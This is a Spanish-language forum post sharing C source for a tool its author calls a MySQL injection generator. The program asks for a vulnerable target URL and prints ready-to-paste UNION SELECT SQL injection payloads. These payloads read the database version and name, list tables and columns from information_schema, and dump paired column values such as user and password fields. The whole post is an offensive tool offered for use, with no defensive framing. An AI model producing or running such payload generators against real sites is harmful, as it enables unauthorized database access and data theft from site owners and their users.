Cita de: Shell Root en 28 Febrero 2011, 20:27 PM
Poned el código aquí... ¬¬!
Código [Seleccionar]
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#define N_ELEMENTOS 999
//PHAMTOM
//Gretz : Fer995,BlackCoder & 3mp3z@ndo
void finalmenu()
{
printf("\n\n");
printf("1-Volver al menu\n");
printf("\n2-Salir\n ==> ");
}
void tablax()
{
system("cls");
printf("Nombre de tabla a sacar columnas ==>");
}
void ncolumnas()
{
system("cls");
printf("Numero de columna que se imprime en pantalla ==> ");
}
void columnas()
{
system("cls");
printf("Si no entendiste este paso , visita la parte de ayuda del programa");
printf("\nNumeros de columnas de la pagina => ");
}
void menu()
{
printf("Menu Utilise el numero de opcion y la tecla enter para seleccionar -->(MySql)\n\n");
printf("\n1-Sacar version del mysql");
printf("\n2-Sacar base de datos que corre la pagina");
printf("\n3-Sacar todas las tablas de la base de datos");
printf("\n4-Sacar todas las columnas de una tabla");
printf("\n5-Sacar registros de la columna de una base de datos\n");
printf("\n\nOpciones\n\n");
printf("\n6-Ayuda");
printf("\n7-Salir");
printf("\n\n\nElige => ");
}
void error()
{
system("cls");
printf("\nError..El programa se ha cerrado.");
printf("\nEsto puede pasar por usar un numero de opciones inexistente o sobrepasar el nivel del buffer del array para mas informacion visite ayuda");
system("pause>Nul");
exit(-1);
}
int main()
{
system("cls");
int o=0,n=0,c=0,z=0,k=0,ii=0;
char tablaxx[N_ELEMENTOS];
char columna2[N_ELEMENTOS];
char target[N_ELEMENTOS];
char tebla[N_ELEMENTOS];
char columna1[N_ELEMENTOS];
char columnaa[N_ELEMENTOS];
printf("Ejemplo : www.target.com/noticias.php?id=\n\n");
printf("Target vulnerable => ");
scanf("%s",target);
n=strlen(target);
if(n>999)
{
error();
}
if(n<=999)
{
system("cls");
system("title Generador de inyecciones MySql escrito por PHAMTOM.");
menu();
scanf("%d",&o);
if(o==1)
{
columnas();
scanf("%d",&c);
system("cls");
printf("Numero de columna que se imprime en pantalla ==> ");
scanf("%d",&z);
system("cls");
printf("\n\n\n\n\n Use: \n\n\n\t %s-1+union+select+all+ ",target);
for(int j=0;j<=c;j++)
{
if(z==j)
{
printf("version(),");
}
else{
printf("%d,",j);
}
}
printf("\b \b --");
printf("\n\nDone!!");
finalmenu();
scanf("%d",&ii);
if(ii==1)
{
main();
}
if(ii==2)
{
system("msg * gracias por usar el programa");
exit(-1) ;
}
else
{
error();
}
system("pause>Nul");
}
if(o==2)
{
columnas();
scanf("%d",&c);
system("cls");
printf("Numero de columna que se imprime en pantalla ==> ");
scanf("%d",&z);
system("cls");
printf("\n\n\n\n\n Use : \n %s -1+union+select+all + ",target);
for(int j=0;j<=c;j++)
{
if(z==j)
{
printf("database(),");}
else{
printf("%d,",j);
}
}
printf("\b \b --");
printf("\n\nDone!!");
finalmenu();
scanf("%d",&ii);
if(ii==1)
{
main();
}
if(ii==2)
{
system("msg * gracias por usar el programa");
exit(-1) ;
}
else
{
error();
}
system("pause>Nul");
}
if(o==3)
{
system("cls");
printf("Sacar todas las tablas de la base de datos de la pagina\n\n");
printf("\n");
{
columnas();
scanf("%d",&c);
ncolumnas();
scanf("%d",&z);
system("cls");
printf("\n\n\n\n\n Use :\n %s -1+union+select+all+ ",target);
for(int j=0;j<=c;j++)
{
if(z==j)
{
printf("group_concat(table_name),");
}
else{
printf("%d,",j);
}
}
printf("\b");
printf("+from+information_schema.tables+where+table_schema=database() --");
printf("\n\nDone!!");
finalmenu();
scanf("%d",&ii);
if(ii==1)
{
main();
}
if(ii==2)
{
system("msg * gracias por usar el programa");
exit(-1) ;
}
else
{
error();
}
system("pause>Nul");
}
}}
if(o==4)
{
system("cls");
printf("\n\nSacar columnas de una tabla\n\n");
{
columnas();
scanf("%d",&c);
ncolumnas();
scanf("%d",&z);
system("cls");
tablax();
scanf("%s",tablaxx);
system("cls");
printf("\n\n\n\n\n use: \n %s-1+union+select+all+",target);
for(int j=0;j<=c;j++)
{
if(z==j)
{
printf("group_concat(column_name),");}
else{
printf("%d,",j);
}
}
printf("\b");
printf("+from+information_schema.columns+where+table_name=char(");
int v=strlen(tablaxx);
for(int a=0;a<=v;a++)
{
printf("%d,",tablaxx[a]);
}
printf("\b\b\b) --");
printf("\n\nDone!!");
finalmenu();
scanf("%d",&ii);
if(ii==1)
{
main();
}
if(ii==2)
{
system("msg * gracias por usar el programa");
exit(-1) ;
}
else
{
error();
}
system("pause>Nul");
}
}
if(o==5)
{
system("cls");
printf("Sacar registros de una columna de una DB.\n");
columnas();
scanf("%d",&c);
ncolumnas();
scanf("%d",&z);
system("cls");
printf("Escriba el nombre de la tabla a sacar datos : ");
scanf("%s",tebla);
system("cls");
printf("Escriba la columna 1 : ");
scanf("%s",columna1);
system("cls");
printf("Escriba la columna 2 : ");
scanf("%s",columnaa);
printf("\n\n\n\n\n Use : \n %s-1+union+select+all+",target);
for(int j=0;j<=c;j++)
{
if(z==j)
{
printf("concat(%s,0x3a,%s),",columna1,columnaa);}
else{
printf("%d,",j);
}
}
printf("\b \b+from+%s --",tebla);
printf("\n\nDone!!");
finalmenu();
scanf("%d",&ii);
if(ii==1)
{
main();
}
else if(ii>2)
{
error();
}
if(ii==2)
{
system("cls");
system("msg * gracias por usar el programa");
exit(-1);
}
}
if(o==6)
{
system("start ayuda.txt");
}
if(o==7)
{
exit(-1);
}
if(o>7)
{
error();
}
}
gracias a los usuarios que respondieron mi post de dudas sobre cadenas de caracteres.